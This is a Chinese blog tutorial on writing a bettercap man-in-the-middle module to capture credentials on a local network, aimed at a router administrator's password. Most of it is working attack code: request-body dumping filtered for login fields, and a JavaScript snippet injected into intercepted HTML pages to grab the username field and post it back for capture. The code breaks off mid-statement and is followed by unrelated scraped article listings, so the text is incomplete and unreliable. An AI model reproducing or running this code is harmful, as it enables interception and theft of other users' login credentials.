【工具解析】瑞士军刀bettercap2.X_解析_第二期_内网钓鱼(嗅探)工具编写
/文章作者:Kali_MG1937
CNBLOG博客:ALDYS4
QQ:3496925334/
第一期: https://www.cnblogs.com/aldys4/p/14877783.html
在上第一期文章中我简要解析了bettercap模块的编写方法
这一期我们将编写一个注入模块来应用于实战中
实战内容:流量嗅探
明晰思路
假设一个场景:你想要进入内网的路由器管理页面
可是你并不知道密码,那么就需要嗅探管理员的流量,诱导对方登入管理页面以便自己得到密码
思路非常简单
要嗅探目标主机可能发送的关键信息,主要还是拦截目标主机发出的请求
我们在上一期已经知道onRequest函数是用来拦截request请求的
其中包含两个变量:req,res
req即为request,所以我们对这个函数进行操作
利用ReadBody函数来读取req的具体内容并打印在终端上
开始工程
function onRequest(req,res)
{
var data=req.ReadBody();
log("\033[01;32mDUMP!!!:\n"+data);
}
很简单易懂的代码,我们将模块带入bettercap进行测试

可以看到 目标主机一旦发送请求,就能立刻被拦截
接下来将脚本升级,让脚本自动嗅探密码之类的关键信息
function onRequest(req,res)
{
var data=req.ReadBody();
if(data.indexOf("user_name")!=-1)
{
log("\033[01;32mPASSWORD DUMP!!!!!!!!:\n"+data);
}
}
可以看到我只是对body的内容进行判断,脚本就能自动筛选重要信息了
嗅探关键信息的思路明晰之后就非常好办了
但如果受害者发送的请求已经经过加密那该怎么办?
那也非常简单,我们可以对服务器发送给目标主机的内容做做手脚
我在这里举一个简单的例子:
对网页内容注入一个脚本,让目标主机在点击登入按钮时获取用户名及密码input标签的内容并发送给我
我先编写一个欲注入的js脚本,命名为inject.js
<script>
function posts()
{
var http=new XMLHttpRequest();
var data=document.getElementById("username").value;
alert(data);//我这里仅仅是为了测试而调用alert函数
http.open('POST','/test');//向test页面发送请求
http.send(data);
}
</script>
很明显,我写的上面这个脚本先建立一个XMLHttpRequest对象
并将指定id的值放入data
最终函数将向一个不存在的页面发送post请求,以便bettercap嗅探到
function onRequest(req, res) {
if( req.Method == 'POST' && req.Path == "/test" )
//如果请求是post,并且请求页面是test,则执行如下代码
{
log( "\033[01;32m[LOGIN MANAGER ABUSER]\n"+req.ReadBody() );
headers = res.Headers.split("\r\n");
for (var i = 0; i < headers.length; i++) {
header_name = headers[i].replace(/:.*/, "");
res.RemoveHeader(header_name);
}
res.SetHeader("Connection", "close");
res.Status = 200;
res.ContentType = "text/html";
res.Body = "";//清除请求内容
}
}
// inject the javascript in html pages
function onResponse(req, res) {
if( res.ContentType.indexOf('text/html') == 0 ){
var body = res.ReadBody();
if( body.indexOf('') != -1 ) {
body = body.replace(
'',
'<script type="text/javascript">' + "\n" +
readFile("/root/inject.js")//注入脚本 +
'</script>' +
''
); //这一部分注入脚本
body=body.replace('
【工具解析】瑞士军刀bettercap2.X_解析_第二期_内网钓鱼(嗅探)工具编写的更多相关文章
- linux下搭建redis内网端口映射工具-rinetd
最近在工作中使用到了redis缓存,用来提某些业务场景的计算速度和某些情况下的操作频率限制,客户端工具使用了redisDesktopmanager来管理,在本机操作测试的时候,是没有问题的.但是将系统 ...
- 【渗透实战】那些奇葩的WAF_第二期_无意发现通杀漏洞,空字节突破上传!
/文章作者:Kali_MG1937 CSDN博客号:ALDYS4 QQ:3496925334 未经许可,禁止转载/ 该博文为本人18年左右的渗透记录,文法粗糙,技术含量极低,流水账文章,且今日不知为何 ...
- linux下内网端口转发工具:linux版lcx [实现远程内网维护]
这个工具以前使用的初衷是内网渗透,需要将内网ssh端口转发到外网服务器上.但这个工具同样适用于运维工程师进行远程内网维护. 当然这一切的前提是内网可以访问外网,检测方法当然就是直接ping 一个外网I ...
- Natapp内网穿透服务工具
在做微信开发的时候,调用微信接口成功之后,微信会回调我们事先配置好的一个接口.由于微信的服务是在外网的,所以这个回调接口也只能是外网,而且微信要求回调接口只能是通过ICP备案的域名,不能使用IP,所以 ...
- 【工具解析】瑞士军刀bettercap2.X解析_第一期_编写HTTP代理注入模块_http(s).proxy.script
/文章作者:Kali_MG1937 CNBLOG博客号:ALDYS4 QQ:3496925334/ 前言 bettercap已经从1.6更新至2.0版本 语言也从ruby改为了go 编写注入模块指定的 ...
- 深入理解java虚拟机_第二章_读书笔记
1.本章内容目录: 概述 运行时数据区域 程序计数器 java虚拟机栈 本地方法栈 java堆 方法区 运行时常量池 直接内存 HotSpot虚拟机对象探秘 对象的创建 对象的内存布局 对象的访问定位 ...
- C语言_第二讲_规范以及常用数据类型
一丶编码规范基本数据类型 编码规范 任何程序员,都应该有良好的的编码习惯,便于以后的代码可读性和维护 常见了编码规范有 匈牙利命名法 驼峰式大小写 匈牙利命名法: 是电脑程序设计中的一种变量命名规则, ...
- Java编程思想_笔记_第二章_一切都是对象
第二章对于知识只是点到,会在以后章节会详细展开. 笔记的侧重会偏向记录自己知识模糊的地方.比如 xxx 很重要很难很实用,但是已经熟练使用就没有记录,而 “使用对象.成员名称来使用成员变量”,较简单而 ...
- Python笔记_第二篇_面向过程_第二部分_5.第三方模块的使用和自定模块(以Pillow模块为例)
1. 安装第三方模块: 打开黑屏终端: cmd: pip -verson pip - V C:\windows\system32>pip -V pip from c:\python37\lib\ ...
随机推荐
- RxJava线程控制
RxJava中的线程转换主要通过下面两个方法: 1.subscribeOn 2.observeOn 一.subscribeOn 1.调用一次subscribeOn时: Observable obser ...
- python三元(三目)运算
传统的if,else写法 三元运算 name="alex" if 1==1 else "SB"
- 老Python带你从浅入深探究List
列表 Python中的列表(list)是最常用的数据类型之一. Python中的列表可以存储任意类型的数据,这与其他语言中的数组(array)不同. 被存入列表中的内容可称之为元素(element)或 ...
- maven简单入门
maven简单部署webapp项目流程及注意事项 maven了解 简介: Maven 是一个项目管理工具,它包含了一个项目对象模型 (POM: Project Object Model),一组标准集合 ...
- QFNU-11.08training
7-1 阅览室 题目: 天梯图书阅览室请你编写一个简单的图书借阅统计程序.当读者借书时,管理员输入书号并按下S键,程序开始计时:当读者还书时,管理员输入书号并按下E键,程序结束计时.书号为不超过10 ...
- 匿名函数lambda / map()方法
lambda一般配合其他方法使用,一般使用在只用过一次就不用的函数,那就没必要特意去定义 lambda能支持的最复杂的语句就是三元运算 例如: lambda x,y: x*y if x < y ...
- ltp日志
grep "fail" -i /var/log/messages |wc -lgrep "fail" -i /var/log/messagesgrep &quo ...
- 【例 3】 修改 bols 文件的 atime 和 mtime。 [root@localhost ~]# touch -d "2017-05-04 15:44" bols
Linux touch命令:创建文件及修改文件时间戳 < Linux删除空目录(rmdir命令)Linux在文件之间建立软/硬链接(ln命令) > <Linux就该这么学>是一 ...
- Xshell 远程使用vim打开文件不能使用右键复制粘贴(右键显示可视)的问题
Xshell 远程使用vim打开文件不能使用右键复制粘贴(右键显示可视)的问题 Debian9.4系统不能再VIM打开文件界面不能使用右键复制粘贴 root@debian:~# vim /usr/sh ...
- 《SystemVerilog验证-测试平台编写指南》学习 - 第2章 数据类型
<SystemVerilog验证-测试平台编写指南>学习 - 第2章 数据类型 2.1 内建数据类型 2.2 定宽数组 2.2.1 声明 2.2.2 常量数组 2.2.3 基本的数组操作 ...